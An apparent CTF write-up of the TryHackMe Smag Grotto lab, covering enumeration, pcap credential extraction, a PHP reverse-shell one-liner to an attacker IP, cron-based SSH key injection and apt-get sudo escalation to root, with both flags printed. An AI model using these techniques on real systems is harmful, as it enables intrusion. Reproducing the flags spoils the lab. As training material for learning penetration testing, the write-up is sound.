TryHackMe-Smag-Grotto

From aldeid
Jump to navigation Jump to search

Do you remember how to analyse packets?

What is the user flag?

Services Enumeration

Let’s start by enumerating the services with Nmap. We discover that SSH is running on port 22/tcp and apache is running on port 80/tcp. 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)
|   256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)
|_  256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Smag
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web

There is no robots.txt file, but using Gobuster, we discover a hidden location: /mail. 

kali@kali:/data/Smag_Grotto$ gobuster dir -u http://10.10.107.212 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.107.212
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/08/29 12:35:02 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.php (Status: 200)
/mail (Status: 301)
/server-status (Status: 403)
===============================================================
2020/08/29 12:35:31 Finished
===============================================================

We are shown with a list of 3 emails in a web page, 1 of which contains an attached *.pcap file: http://10.10.107.212/aW1wb3J0YW50/dHJhY2Uy.pcap

pcap file

We open the pcap in Wireshark. The network capture file only contains 10 frames and we immediately see the POST request to /login.php at frame 4. Right click on it and follow the HTTP stream to reveal the following information: 

POST /login.php HTTP/1.1
Host: development.smag.thm
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 39
Content-Type: application/x-www-form-urlencoded

username=helpdesk&password=cH4nG3M3_n0wHTTP/1.1 200 OK
Date: Wed, 03 Jun 2020 18:04:07 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Virtual host

The request is sent to the development.smag.thm domain, which is likely a virtual host that we will need to add to our hosts file. We are also provided with credentials.

Let’s add the virtual host to our /etc/hosts file: 

10.10.107.212   development.smag.thm

Now, connect to http://development.smag.thm and authenticate with helpdesk:cH4nG3M3_n0w. We are redirected to http://development.smag.thm/admin.php where we can now execute commands.

Reverse shell

Start a listener: 

$ rlwrap nc -nlvp 4444

And Send following command to the web form: 

php -r '$sock=fsockopen("10.8.50.72",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

We now have a reverse shell: 

listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.107.212] 49492
/bin/sh: 0: can't access tty; job control turned off
$ SHELL=/bin/bash script -q /dev/null

Listing the content of the /home folder reveals a user named jake. Unfortunately, the user flag in this folder is only accessible by jake. 

www-data@smag:/var/www/development.smag.thm$ cd /home
cd /home
www-data@smag:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root root 4096 Jun  4 11:37 .
drwxr-xr-x 22 root root 4096 Jun  4 11:35 ..
drwxr-xr-x  4 jake jake 4096 Jun  5 11:05 jake
www-data@smag:/home$ cd jake
cd jake
www-data@smag:/home/jake$ ls -la
ls -la
total 60
drwxr-xr-x 4 jake jake 4096 Jun  5 11:05 .
drwxr-xr-x 3 root root 4096 Jun  4 11:37 ..
-rw------- 1 jake jake  490 Jun  5 11:05 .bash_history
-rw-r--r-- 1 jake jake  220 Jun  4 11:37 .bash_logout
-rw-r--r-- 1 jake jake 3771 Jun  4 15:12 .bashrc
drwx------ 2 jake jake 4096 Jun  4 11:39 .cache
-rw------- 1 root root   28 Jun  5 11:05 .lesshst
-rw-r--r-- 1 jake jake  655 Jun  4 11:37 .profile
-rw-r--r-- 1 root root   75 Jun  4 15:53 .selected_editor
drwx------ 2 jake jake 4096 Jun  4 15:27 .ssh
-rw-r--r-- 1 jake jake    0 Jun  4 11:45 .sudo_as_admin_successful
-rw------- 1 jake jake 9336 Jun  5 11:05 .viminfo
-rw-r--r-- 1 root root  167 Jun  5 09:29 .wget-hsts
-rw-rw---- 1 jake jake   33 Jun  4 13:02 user.txt
www-data@smag:/home/jake$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

Lateral move

We obviously need to switch to jake. Let’s check if there are interesting scheduled tasks: 

www-data@smag:/home/jake$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
#

The last cronjob seems promising as it copies the content of a SSH public key to jake’s authorized_keys. Moreover, the copied file is world-writable: 

www-data@smag:/opt/.backups$ ls -l /opt/.backups/jake_id_rsa.pub.backup
ls -l /opt/.backups/jake_id_rsa.pub.backup
-rw-rw-rw- 1 root root 563 Jun  5 09:25 /opt/.backups/jake_id_rsa.pub.backup

Let’s add our own public key (use ssh-keygen -t rsa to generate your own): 

www-data@smag:/opt/.backups$ echo "ssh-rsa AAAAB3NzaC[REDACTED]+m7pk= kali@kali" > /opt/.backups/jake_id_rsa.pub.backup

Wait 1 minute and connect as jake without password: 

kali@kali:/data/vpn$ ssh [email protected]
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Last login: Fri Jun  5 10:15:15 2020
jake@smag:~$

User flag

From here, we eventually get the user flag: 

jake@smag:~$ cat user.txt 
iusGorV7EbmxM5AuIe2w499msaSuqU3j

What is the root flag?

Privilege escalation

Jake can run apt-get as root without password: 

jake@smag:~$ sudo -l
Matching Defaults entries for jake on smag:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on smag:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get

Checking on GTFOBins reveals that we can take advantage of this to run a privileged shell: 

jake@smag:~$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash
root@smag:/tmp# whoami
root

Root flag

Let’s get the root flag: 

root@smag:/tmp# cd /root
root@smag:/root# ls -l
total 4
-rw-rw---- 1 root root 33 Jun  4 13:04 root.txt
root@smag:/root# cat root.txt
uJr6zRgetaniyHVRqqL58uRasybBKz2T
Retrieved from "https://www.aldeid.com/w/index.php?title=TryHackMe-Smag-Grotto&oldid=37550"